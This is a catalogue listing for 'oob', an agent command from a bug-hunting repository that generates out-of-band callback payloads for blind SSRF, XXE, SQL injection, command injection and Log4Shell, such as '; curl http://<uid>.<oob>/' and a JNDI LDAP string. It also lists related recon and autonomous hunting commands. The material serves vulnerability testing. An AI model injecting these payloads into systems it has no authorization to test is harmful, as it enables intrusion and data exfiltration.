Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add commands/awarexone/agentic-bug-hunter/oobgit clone --depth 1 https://github.com/Awarexone/Agentic-Bug-HunterWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00000 | $0.00613 |
| Opus 5 | $0.00000 | $0.00307 |
| Sonnet 5 | $0.00000 | $0.00123 |
| Haiku 4.5 | $0.00000 | $0.00061 |
Grade A, and why
oob scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
| blind RCE | `; curl http://<uid>.<oob>/`, `$(…)`, backticks, `\| ping`, PowerShell | What it actually says
/oob
Confirm blind vulnerabilities that have no in-band signal. Wraps
ProjectDiscovery's interactsh-client: generates payloads embedding a unique
OOB hostname per injection point, then correlates inbound DNS/HTTP/SMTP
interactions back to the exact payload — turning un-provable blind bugs into
confirmed ones.
Needs
interactsh-clientinstalled (/arsenal interactsh-clientfor the install hint). Payload generation + correlation work offline without it.
Usage
# 1. start the listener (prints your OOB domain, streams interactions as JSON)
/oob --listen > inter.jsonl
# 2. generate payloads for that domain and inject them into the target
/oob --payloads cXXXX.oast.fun --class ssrf,xxe,sqli
# 3. correlate received callbacks to the payload that caused them
/oob --correlate inter.jsonl --payloads-file payloads.json
Run directly:
tools/oob_listener.py --payloads cXXXX.oast.fun --json > payloads.json
tools/oob_listener.py --listen > inter.jsonl
tools/oob_listener.py --correlate inter.jsonl --payloads-file payloads.json
Classes covered
| Class | Sample payload |
|---|---|
| blind SSRF | http://<uid>.<oob>/ (+ @127.0.0.1, gopher bypass forms) |
| blind XXE | <!ENTITY x SYSTEM "http://<uid>.<oob>/x"> + OOB-DTD exfil |
| blind SQLi | MSSQL xp_dirtree, MySQL LOAD_FILE, Oracle UTL_HTTP, Postgres COPY…PROGRAM |
| blind RCE | ; curl http://<uid>.<oob>/, $(…), backticks, | ping, PowerShell |
| Log4Shell | ${jndi:ldap://<uid>.<oob>/a} (+ ${lower:j} filter bypass) |
Why this is the highest-leverage addition
Without OOB, the agent cannot confirm blind SSRF/XXE/SQLi/RCE — an entire
band of Critical bugs was structurally out of reach. Each payload carries a
unique marker (ssrf-<random>.<oob>) so a received callback proves which
injection point fired, ready to drop straight into a report.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2d ago First seen · 53 lines · 0 tokens per session scan A f7bd3258f33b
oob is a command published in the GitHub repository Awarexone/Agentic-Bug-Hunter (4,651 stars, last pushed today), licensed MIT. It costs nothing until one of its globs matches a file; then it loads 613 tokens. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other commands, from other repositories
recon
Run full recon pipeline on a target — subdomain enum (Chaos API + subfinder), live host discovery (dnsx + httpx), URL crawl (katana + waybackurls + gau), gf pattern classification, nuclei scan. Outputs to recon/ / directory. Usage: /recon target.com.
hunt
Active vulnerability hunting. Two-track dispatcher — asks Red Team vs WAPT, hands off to hunt-dispatch skill and sibling commands. Usage: /hunt target.com | /hunt .target.com | /hunt targets.txt [--vuln-class X] [--source-code P] [--chrome].
token-scan
Meme coin and token security scan — checks for rug pull vectors (hidden mint, honeypot, fee manipulation, LP lock bypass, authority retention, bonding curve exploits, fake renounce, sandwich amplification). Manual 8-class grep audit (with an optional automated scanner if present). Usage: /token-scan [--chain solana].
autopilot
Run autonomous hunt loop on a target — scope check → recon → rank surface → hunt → validate → report with configurable checkpoints. Usage: /autopilot target.com [--paranoid|--normal|--yolo].
triage
Quick 7-Question Gate triage on a finding before writing a report. Kills N/A submissions before they happen. Faster than /validate — for quick go/no-go decisions. Usage: /triage.
validate
Validate a finding — runs 7-Question Gate + 4-gate checklist. Kills weak findings before report writing. Prevents N/A submissions that hurt validity ratio. Usage: /validate.